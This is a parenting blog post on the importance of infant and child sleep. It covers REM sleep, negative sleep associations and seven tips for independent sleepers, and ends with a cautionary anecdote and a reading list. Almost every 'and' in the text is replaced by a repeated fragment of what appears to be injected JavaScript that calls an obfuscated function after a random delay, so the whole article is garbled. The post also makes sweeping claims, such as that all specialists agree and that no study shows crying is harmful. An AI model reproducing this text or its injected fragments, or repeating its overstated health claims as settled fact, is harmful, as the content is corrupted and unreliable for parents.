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The Importance of Sleep for Infants andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Children

sleepingMost parents are aware of the importance of a nutritious diet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and regular physical exercise for their children’s health, but surprisingly, another vital aspect of our physical andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mental well-being is often overlooked by parents andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and health practitioners—SLEEP.

 

Sleep is so important that infants in the womb spend 16-20 hrs per day asleep, 60-80% of that time is spent in rapid eye movement (REM) sleep, also known as active sleep because of the incredible brain activity that occurs during REM sleep. Newborns spend about 50% of their 16-18 hrs of daily sleep in REM. The percentage of REM sleep decreases until post-adolescence when it comprises about 25% of adult sleep andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 10-15% of sleep in old age.

 

Doctors believe REM sleep in infants provides the brain with a “workout” that offers significantly more stimulation to an infant than can be provided by sensory stimulation alone. Because the first few years of life are a period of incredible neural development, this sleep time stimulus is crucial to proper brain development. The inactive, or non-REM, sleep provides the body’s much needed relaxation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rejuvenation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and also vital to proper development. Research shows that fragmented sleep andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and an overall shortened sleep duration before 3.5 yrs old is associated with lower cognitive performance, hyperactivity-impulsivity (andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ADHD), andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and impaired neurological development.

 

In order for children to grow andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and develop properly they must get adequate andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and consolidated sleep. Children who sleep 10 to 12 hours per night awaken well-rested, ready to cope, attentive, cheerful, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and best able to learn from their environment. Parents too will feel better equipped to perform the demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding tasks of work andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and family life when they are well-rested. While many parents insist that their child will not fall asleep unless they rock or feed them, the reality is that the child has only learned this behavior. The problem is not that the child can not fall asleep, but rather that the child has developed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and habituated an association between sleep andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the external intervention used to get that child to sleep. These are called “negative sleep associations” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and children can begin to acquire them in early infancy. All pediatric sleep specialists agree that children need to develop their own strategies for falling asleep andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and staying asleep so that they do not become dependent on external strategies to accomplish sleep.

 

So if sleep is so important andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and so necessary, why are so few children doing it?? Why does it seem so difficult to develop good sleep habits??

 

Because children don’t come with a users manual! It would be wonderful if there was one book that explained it all, all the needs our children will have. But there isn’t, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and for the most part parenting becomes an exercise in winging it! If we knew from the outset exactly what we were supposed to do to teach our children to sleep, eat, read, etc, then I’m certain every parent would not hesitate. But parenting in reality is a lot of trial andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and error, it’s a lot of experimentation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hope, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s a lot of going back to the drawing board. It is a process that evolves. And the development of poor sleep habits can easily evolve over weeks, months andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and years.

 

The good news is that we can undo bad habits andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and develop new ones! The key is prioritizing sleep like you prioritize other lessons in your child’s life. For example, a parent would think nothing of the meltdown a child might have because the parent grabbed the child to stop them from running into a busy street. Depending on how old the child is, you may not be able to rationally explain to them how it’s in their best interest, but the screaming andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and crying is not going to convince any parent to let the child run willy-nilly into the street. That is a firm boundary, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and no amount of crying is going to change a parents stance on that boundary.

 

The same might go for the child that screams andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cries because he wanted a candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andy or something from the toy aisle at Target. As parents we decide where our boundaries are, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and where our children’s boundaries should be. Our children have umpteen numbers of reasons to cry everyday, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and they do. But when it comes to sleep, we have developed the inability to view it as a firm boundary.

 

Perhaps it’s the hype that crying will harm our children? And when we put our children to bed they often cry, so we cave andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and allow them to stay up, or we go to great lengths to help them sleep or give them whatever it is they seem to be demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding. But, honestly? Think about how many times per day a child cries? Do they always get their way when they do? Not if they’re trying to run into a busy street! Do parents always andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and immediately try to stifle the crying? Is that necessary? If crying were as harmful as some practitioners (ala Dr. Sears) would have you believe, then why do our children do it at all? And what about children with colic. Are they doomed to permanent trauma?

 

The reality is they are not. Crying is a form of communication. Infants andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and children are well adapted to using crying as a means to communicate. Long term trauma does not arise from crying alone, this has been shown repeatedly in the literature. Colicky infants who have been followed for years show absolutely no significant emotional trauma as toddlers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and at school entry compared to normal infants. In fact, the research has shown that sleep deprivation in infancy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and toddlerhood is significantly more detrimental to later emotional, behavioral andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cognitive health than any study has ever shown for crying. In fact, no study has ever shown that crying in infancy is detrimental to long term health.

 

It’s time we begin to consider sleep in infancy just as sacred as the other boundaries we draw as parents. Sleep shouldn’t be considered an option, that if a child throws a fit because we’ve tried to put him to bed, then it’s ok to let him stay awake, or it’s ok to let him engage in another activity (like rocking, nursing, watching TV) until he passes out from exhaustion. Perhaps if we were more immediately aware of the damage that a lack of sleep causes we would be more inclined to enforce sleep with the knowledge that it is certainly what

is best for our children.

 

And what if helping your child learn to sleep didn’t have to involve crying at all? What if it just involved understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding how we learn to sleep andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how we fall asleep physiologically, then engaging new techniques to meet our child’s needs? I’ve seen it done!

 

Even if you have a child that truly resists engaging your new sleep protocols. Wouldn’t it be far preferable to have a few days of distress followed by a lifetime of healthy sleep habits, to having a lifetime of inadequate sleep followed by a lifetime of health problems? Which would you choose for your child?

 

People who suffer through undiagnosed sleep apnea (inadequate sleep due to a physical obstruction of the airways) into adulthood suffer from numerous health problems, such as hypertension, high blood pressure, heart disease, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and obesity. These health problems resolve when the sleep apnea is corrected. Self-imposed poor sleep can have similar health ramifications, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and if you have a child that suffers from frequent colds, infections, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other acute illnesses in addition to sleeping poorly, then you may be viewing the early effects.

 

I think if we have the choice, most parents would choose to have their children sleeping well. Even if all it means is that the parents get to sleep as well! Being tired all the time is not fun!

 

What can you do to help your child sleep better? Here are seven tips for creating a healthy independent sleeper:

 

  1. Let your child have opportunities to discover his own techniques for falling asleep. Babies need to learn to fall asleep on their own without any external props.
  2. Be consistent. Whatever is happening at one sleep situation needs to be happening at all sleep situations to send a clear message about what is expected.
  3. Enforce an early bedtime. Early bedtimes ensure that children do not become overtired. When a child is overtired, it becomes more difficult for the child to settle down andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fall asleep. When sleep does come, she is much more restless with more tossing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and turning andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more night time waking. Pick a general bedtime somewhere between 6 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 8pm, based on the last nap of the day andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your babies age. Bedtimes do not have to be set in stone. You can always move bedtime up a bit if your child seems tired andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cranky; just try to not make it later.
  4. Create a bedtime routine andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and stick to it 100% of the time. A bedtime routine is something you can start at a very early age. It’s a good habit to get into andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it is an excellent cue to the body andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the mind that it is time to settle down andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and get ready for sleep.
  5. Create a naptime routine. A short nap routine can help cue your baby’s body andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and brain that it’s time for nap. This should be an abbreviated version of your bedtime routine.
  6. Don’t skip naps! Skipping naps andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and/or having a late bedtime will affect the next 24-hour cycle. Don’t let anyone tell you that naps are not important, or that skipping naps will help your baby sleep longer at night.
  7. Do not nurse/feed to sleep. And, if you are still feeding your infant during the night try not to let him/her fall asleep on the breast or bottle. Keep feedings low-key andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and quiet.

 

Bonus Tip: Both parents should take turns putting baby to bed. You don’t want children to think that only Mom can put them to bed, as this will make it hard if a sitter is in charge—or if Mom just wants a break!

 

In closing I’d like to dispel a major myth in pediatric sleep—that infant sleep problems are normal andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will resolve on their own. People will often say—it’s just a phase, they’ll grow out of it! They usually do not. Research shows that 84% of children who struggle with sleep will continue to do so until at least 5 yrs old. The only reason the research doesn’t show that it lasts into adulthood is because a study has not yet been undertaken to track sleep information for longer than 5 yrs. I recently met a man whose mother said that at 5 yrs old he had still never slept through the night. She had rocked him, nursed him andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then laid down with him every night of his life. By the time he was 5 yrs old mom was so exhausted she essentially “gave up”. She would lock him in his room at night andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not open the door until morning. As a child this man had no idea how to sleep, so he would go into his closet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cry until he fell asleep. He eventually ended up sleeping there every night, though it still often took him hours to fall asleep. When I met him he was 36 yrs old andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and suffered from severe delayed sleep phase insomnia, had been diagnosed with ADHD, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and had been medicated since he was a child. He had been on countless medications throughout his life because of his myriad of mental andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and health problems andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and he usually required sleep medicine to go to sleep at night. He hasn’t been able to hold a job most of his adult life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and he still only sleeps for about 3-4 hrs per night—in his closet. He didn’t need me to point out to him that many of his problems were likely a result of his lack of sleep as a baby; he had come to that conclusion on his own.

 

Don’t wait so long to teach your child to sleep that you become desperate enough to resort to measures such as this mom did. Teaching your child to sleep is a gift best delivered with love andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and respect, there are several great books on the subject, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and people who can help you on your journey to sleep!

 

Don’t wait to give your child the gift of sleep. It is one of the most important first life lessons you will teach your child.

 

Wishing you many happy sleeps!

 

 

 

 

Andrea Page your Professional Pediatric Health andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sleep Specialist

 

 

Approximate Sleep Requirements by Age:

 

 

Suggested Sleep Books:

 

Healthy Sleep Habits, Happy Child. By Marc Weissbluth, 2003

 

On Becoming Babywise: Giving Your Infant the Gift of Nighttime Sleep. By Gary Ezzo & Robert Bucknam, 2006 (*one of my personal favorites*)

 

Sleeping Through the Night. By Jodi Mindell, 2005

 

Sleep Sense. By Dana Obleman, 2008

 

The Happiest Baby Guide to Sleep. By Harvey Karp, 2012

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